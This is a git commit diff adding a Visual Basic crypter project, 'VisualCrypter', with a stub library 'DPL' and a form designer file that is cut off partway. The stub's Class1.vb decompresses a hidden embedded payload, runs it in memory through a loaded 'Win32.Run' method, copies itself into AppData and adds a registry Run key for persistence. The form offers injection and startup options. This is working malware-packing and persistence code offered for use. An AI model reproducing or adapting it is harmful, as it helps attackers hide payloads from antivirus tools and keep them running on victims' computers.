initial commit

This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
Vendored
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
+28
View File
@@ -0,0 +1,28 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25123.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "DPL", "DPL\DPL.vbproj", "{5E4A498C-2146-4F31-91AD-036D683BCAA8}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|x86.ActiveCfg = Debug|x86
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Debug|x86.Build.0 = Debug|x86
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|Any CPU.Build.0 = Release|Any CPU
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|x86.ActiveCfg = Release|x86
{5E4A498C-2146-4F31-91AD-036D683BCAA8}.Release|x86.Build.0 = Release|x86
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
Binary file not shown.
+62
View File
@@ -0,0 +1,62 @@
Imports System, Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System.Reflection
Imports System.Text
Imports System.IO.Compression
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Windows.Forms
Public Class Cls
Public Shared Sub Mth(ByVal str As String)
Try
Dim asm As Assembly = Assembly.Load(My.Resources.CL1)
Dim file As Byte() = retrieveFile()
Dim typ As Type = asm.GetType("Win32")
typ.GetMethod("Run").Invoke(Nothing, New Object() {file, Nothing})
Dim startup() As String = Split(str, "/")
If startup(0) = "T" Then
Dim appdata As String = Environ("appdata")
Dim start_name As String = startup(1)
Dim install_path As String = appdata & "\" & start_name & ".exe"
If Not IO.File.Exists(install_path) Then
IO.File.Copy(Application.ExecutablePath, install_path)
Threading.Thread.Sleep(5000)
Dim regKey As Microsoft.Win32.RegistryKey
regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue(start_name, """" & install_path & """")
regKey.Close()
End If
End If
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
Public Shared Function Decompress(data As Byte()) As Byte()
Dim input As New MemoryStream()
input.Write(data, 0, data.Length)
input.Position = 0
Dim gzip As New GZipStream(input, CompressionMode.Decompress, True)
Dim output As New MemoryStream()
Dim buff As Byte() = New Byte(63) {}
Dim read As Integer = -1
read = gzip.Read(buff, 0, buff.Length)
While read > 0
output.Write(buff, 0, read)
read = gzip.Read(buff, 0, buff.Length)
End While
gzip.Close()
Return output.ToArray()
End Function
Public Shared Function retrieveFile() As Byte()
Dim res_Man As New Resources.ResourceManager("2016", Reflection.Assembly.GetEntryAssembly)
Return Decompress(res_Man.GetObject("text"))
End Function
End Class
+119
View File
@@ -0,0 +1,119 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{5E4A498C-2146-4F31-91AD-036D683BCAA8}</ProjectGuid>
<OutputType>Library</OutputType>
<RootNamespace>
</RootNamespace>
<AssemblyName>DPL</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>Windows</MyType>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\Debug\</OutputPath>
<DocumentationFile>
</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>
</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
<PlatformTarget>x86</PlatformTarget>
<OutputPath>bin\x86\Debug\</OutputPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
<PlatformTarget>x86</PlatformTarget>
<OutputPath>bin\x86\Release\</OutputPath>
<RemoveIntegerChecks>true</RemoveIntegerChecks>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Diagnostics" />
</ItemGroup>
<ItemGroup>
<Compile Include="Class1.vb" />
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<ItemGroup>
<None Include="Resources\CL1.dll" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
</Project>
@@ -0,0 +1,13 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>false</MySubMain>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<ApplicationType>1</ApplicationType>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("DPL")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("DPL")>
<Assembly: AssemblyCopyright("Copyright © 2016")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("33567d69-829c-44d4-a22f-b5aa5fa2c39a")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: AssemblyFileVersion("1.0.0.0")>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized resource of type System.Byte[].
'''</summary>
Friend ReadOnly Property CL1() As Byte()
Get
Dim obj As Object = ResourceManager.GetObject("CL1", resourceCulture)
Return CType(obj,Byte())
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,124 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="CL1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\CL1.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.My.MySettings
Get
Return Global.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,28 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.30110.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "VisualCrypter", "VisualCrypter\VisualCrypter.vbproj", "{F8C9981E-A7C6-4CDD-B491-B2294243D01A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|x86.ActiveCfg = Debug|x86
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Debug|x86.Build.0 = Debug|x86
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|Any CPU.Build.0 = Release|Any CPU
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|x86.ActiveCfg = Release|x86
{F8C9981E-A7C6-4CDD-B491-B2294243D01A}.Release|x86.Build.0 = Release|x86
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

@@ -0,0 +1,723 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class Index
Inherits System.Windows.Forms.Form
'Form overrides dispose to clean up the component list.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Index))
Me.Theme1 = New VisualCrypter.Theme()
Me.VsButton6 = New VisualCrypter.VSButton()
Me.VsGroupBox4 = New VisualCrypter.VSGroupBox()
Me.VsTextBox13 = New VisualCrypter.VSTextBox()
Me.VsCheckbox1 = New VisualCrypter.VSCheckbox()
Me.VsGroupBox3 = New VisualCrypter.VSGroupBox()
Me.VsRadiobutton3 = New VisualCrypter.VSRadiobutton()
Me.VsRadiobutton2 = New VisualCrypter.VSRadiobutton()
Me.VsRadiobutton1 = New VisualCrypter.VSRadiobutton()
Me.VsGroupBox2 = New VisualCrypter.VSGroupBox()
Me.VsButton7 = New VisualCrypter.VSButton()
Me.VsButton5 = New VisualCrypter.VSButton()
Me.Label6 = New System.Windows.Forms.Label()
Me.Label7 = New System.Windows.Forms.Label()
Me.Label8 = New System.Windows.Forms.Label()
Me.Label9 = New System.Windows.Forms.Label()
Me.Label10 = New System.Windows.Forms.Label()
Me.VsTextBox9 = New VisualCrypter.VSTextBox()
Me.VsTextBox8 = New VisualCrypter.VSTextBox()
Me.VsTextBox7 = New VisualCrypter.VSTextBox()
Me.VsTextBox6 = New VisualCrypter.VSTextBox()
Me.VsTextBox5 = New VisualCrypter.VSTextBox()
Me.Label5 = New System.Windows.Forms.Label()
Me.Label4 = New System.Windows.Forms.Label()
Me.Label3 = New System.Windows.Forms.Label()
Me.Label2 = New System.Windows.Forms.Label()
Me.Label1 = New System.Windows.Forms.Label()
Me.VsButton4 = New VisualCrypter.VSButton()
Me.VsTextBox4 = New VisualCrypter.VSTextBox()
Me.PictureBox1 = New System.Windows.Forms.PictureBox()
Me.VsGroupBox1 = New VisualCrypter.VSGroupBox()
Me.VsButton3 = New VisualCrypter.VSButton()
Me.VsTextBox3 = New VisualCrypter.VSTextBox()
Me.VsButton2 = New VisualCrypter.VSButton()
Me.VsTextBox2 = New VisualCrypter.VSTextBox()
Me.VsButton1 = New VisualCrypter.VSButton()
Me.VsTextBox1 = New VisualCrypter.VSTextBox()
Me.VsControlBox1 = New VisualCrypter.VSControlBox()
Me.Theme1.SuspendLayout()
Me.VsGroupBox4.SuspendLayout()
Me.VsGroupBox3.SuspendLayout()
Me.VsGroupBox2.SuspendLayout()
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
Me.VsGroupBox1.SuspendLayout()
Me.SuspendLayout()
'
'Theme1
'
Me.Theme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer), CType(CType(38, Byte), Integer))
Me.Theme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.Theme1.Controls.Add(Me.VsButton6)
Me.Theme1.Controls.Add(Me.VsGroupBox4)
Me.Theme1.Controls.Add(Me.VsGroupBox3)
Me.Theme1.Controls.Add(Me.VsGroupBox2)
Me.Theme1.Controls.Add(Me.VsGroupBox1)
Me.Theme1.Controls.Add(Me.VsControlBox1)
Me.Theme1.Customization = "MC0t/3Fxcf8="
Me.Theme1.Dock = System.Windows.Forms.DockStyle.Fill
Me.Theme1.Font = New System.Drawing.Font("Segoe UI", 11.0!)
Me.Theme1.Image = Nothing
Me.Theme1.Location = New System.Drawing.Point(0, 0)
Me.Theme1.Movable = True
Me.Theme1.Name = "Theme1"
Me.Theme1.NoRounding = False
Me.Theme1.Sizable = True
Me.Theme1.Size = New System.Drawing.Size(672, 358)
Me.Theme1.SmartBounds = True
Me.Theme1.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
Me.Theme1.TabIndex = 0
Me.Theme1.Text = "Theme1"
Me.Theme1.TransparencyKey = System.Drawing.Color.Empty
Me.Theme1.Transparent = False
'
'VsButton6
'
Me.VsButton6.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8="
Me.VsButton6.Font = New System.Drawing.Font("Verdana", 18.0!)
Me.VsButton6.Image = Nothing
Me.VsButton6.Location = New System.Drawing.Point(241, 299)
Me.VsButton6.Name = "VsButton6"
Me.VsButton6.NoRounding = False
Me.VsButton6.Size = New System.Drawing.Size(202, 40)
Me.VsButton6.TabIndex = 5
Me.VsButton6.Text = "Protect"
Me.VsButton6.Transparent = False
'
'VsGroupBox4
'
Me.VsGroupBox4.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.VsGroupBox4.Controls.Add(Me.VsTextBox13)
Me.VsGroupBox4.Controls.Add(Me.VsCheckbox1)
Me.VsGroupBox4.Customization = "NzMz//////8="
Me.VsGroupBox4.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsGroupBox4.Image = Nothing
Me.VsGroupBox4.Location = New System.Drawing.Point(14, 220)
Me.VsGroupBox4.Movable = True
Me.VsGroupBox4.Name = "VsGroupBox4"
Me.VsGroupBox4.NoRounding = False
Me.VsGroupBox4.Sizable = True
Me.VsGroupBox4.Size = New System.Drawing.Size(325, 71)
Me.VsGroupBox4.SmartBounds = True
Me.VsGroupBox4.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.VsGroupBox4.TabIndex = 4
Me.VsGroupBox4.Text = "Options :"
Me.VsGroupBox4.TransparencyKey = System.Drawing.Color.Empty
Me.VsGroupBox4.Transparent = False
'
'VsTextBox13
'
Me.VsTextBox13.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox13.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox13.Image = Nothing
Me.VsTextBox13.Location = New System.Drawing.Point(174, 25)
Me.VsTextBox13.MaxLength = 32767
Me.VsTextBox13.Multiline = False
Me.VsTextBox13.Name = "VsTextBox13"
Me.VsTextBox13.NoRounding = False
Me.VsTextBox13.ReadOnly = False
Me.VsTextBox13.Size = New System.Drawing.Size(104, 24)
Me.VsTextBox13.TabIndex = 1
Me.VsTextBox13.Text = "StartupKey"
Me.VsTextBox13.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox13.Transparent = False
Me.VsTextBox13.UseSystemPasswordChar = False
'
'VsCheckbox1
'
Me.VsCheckbox1.Checked = False
Me.VsCheckbox1.Colors = New VisualCrypter.Bloom(-1) {}
Me.VsCheckbox1.Customization = ""
Me.VsCheckbox1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsCheckbox1.Image = Nothing
Me.VsCheckbox1.Location = New System.Drawing.Point(21, 30)
Me.VsCheckbox1.Name = "VsCheckbox1"
Me.VsCheckbox1.NoRounding = False
Me.VsCheckbox1.Size = New System.Drawing.Size(106, 16)
Me.VsCheckbox1.TabIndex = 0
Me.VsCheckbox1.Text = "Enable Startup"
Me.VsCheckbox1.Transparent = False
'
'VsGroupBox3
'
Me.VsGroupBox3.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.VsGroupBox3.Controls.Add(Me.VsRadiobutton3)
Me.VsGroupBox3.Controls.Add(Me.VsRadiobutton2)
Me.VsGroupBox3.Controls.Add(Me.VsRadiobutton1)
Me.VsGroupBox3.Customization = "NzMz//////8="
Me.VsGroupBox3.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsGroupBox3.Image = Nothing
Me.VsGroupBox3.Location = New System.Drawing.Point(14, 164)
Me.VsGroupBox3.Movable = True
Me.VsGroupBox3.Name = "VsGroupBox3"
Me.VsGroupBox3.NoRounding = False
Me.VsGroupBox3.Sizable = True
Me.VsGroupBox3.Size = New System.Drawing.Size(325, 50)
Me.VsGroupBox3.SmartBounds = True
Me.VsGroupBox3.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.VsGroupBox3.TabIndex = 3
Me.VsGroupBox3.Text = "Injection :"
Me.VsGroupBox3.TransparencyKey = System.Drawing.Color.Empty
Me.VsGroupBox3.Transparent = False
'
'VsRadiobutton3
'
Me.VsRadiobutton3.Checked = False
Me.VsRadiobutton3.Customization = "/////5mZmf/MegD/"
Me.VsRadiobutton3.Enabled = False
Me.VsRadiobutton3.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsRadiobutton3.Image = Nothing
Me.VsRadiobutton3.Location = New System.Drawing.Point(239, 23)
Me.VsRadiobutton3.Name = "VsRadiobutton3"
Me.VsRadiobutton3.NoRounding = False
Me.VsRadiobutton3.Size = New System.Drawing.Size(68, 16)
Me.VsRadiobutton3.TabIndex = 2
